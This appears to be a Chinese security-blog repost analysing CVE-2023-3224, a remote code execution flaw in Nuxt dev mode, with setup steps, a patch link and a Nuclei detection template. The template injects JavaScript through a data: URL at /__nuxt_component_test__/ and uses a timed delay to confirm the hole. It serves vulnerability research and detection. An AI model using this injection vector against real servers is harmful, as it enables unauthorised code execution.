探索网络安全新技术
攀登黑客技术最高峰

CVE-2023-3224:Nuxt Dev Mode 远程命令执行(附POC)

漏洞环境

https://nuxt.com/docs/examples/essentials/hello-world

照着这个创建文件,然后修改package.json里nuxt的版本号

{
  "name": "example-hello-world",
  "private": true,
  "scripts": {
    "build": "nuxi build",
    "dev": "nuxi dev",
    "start": "nuxi preview"
  },
  "devDependencies": {
    "nuxt": "3.5.0"
  }
}

漏洞补丁

https://github.com/nuxt/nuxt/commit/65a8f4eb3ef1b249a95fd59e323835a96428baff

漏洞分析

CVE-2023-3224:Nuxt Dev Mode 远程命令执行(附POC)-威武网安

如果服务器以dev模式运行并且请求的url以/__nuxt_component_test__/开头,那么引入#build/test-component-wrapper.mjs

在#build/test-component-wrapper.mjs中会截取query string然后import,造成rce。

CVE-2023-3224:Nuxt Dev Mode 远程命令执行(附POC)-威武网安

当引入child_process执行命令时,报错500

CVE-2023-3224:Nuxt Dev Mode 远程命令执行(附POC)-威武网安

这个时候需要用node_modules里别的gadget。

CVE-2023-3224 POC

编写模板时,要考虑怎么做验证,有的没办法执行命令,干脆用sleep延时来判断,然后发现nuxt在渲染时有缓存,如果两次payload一致时只会sleep一次,所以加了个随机数。

id: CVE-2023-3224

info:
  name: nuxt developer mode RCE
  author: Y4er
  severity: critical
  description: |
    RCE in developer mode in nuxt/nuxt    
  reference:
    - https://huntr.dev/bounties/1eb74fd8-0258-4c1f-a904-83b52e373a87/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-3224
    cwe-id: CWE-94
  tags: cve,cve2023,rce,http,vmware

http:
  - method: GET
    path:
      - "{{BaseURL}}/__nuxt_component_test__/?path=data:text/javascript,await%20new%20Promise(resolve%20=%3E%20setTimeout(resolve,%206000));console.log('{{randstr}}')"

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'

原文作者链接:CVE-2023-3224 Nuxt dev mode rce

赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《CVE-2023-3224:Nuxt Dev Mode 远程命令执行(附POC)》
文章链接:https://www.wevul.com/1773.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 抢沙发

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册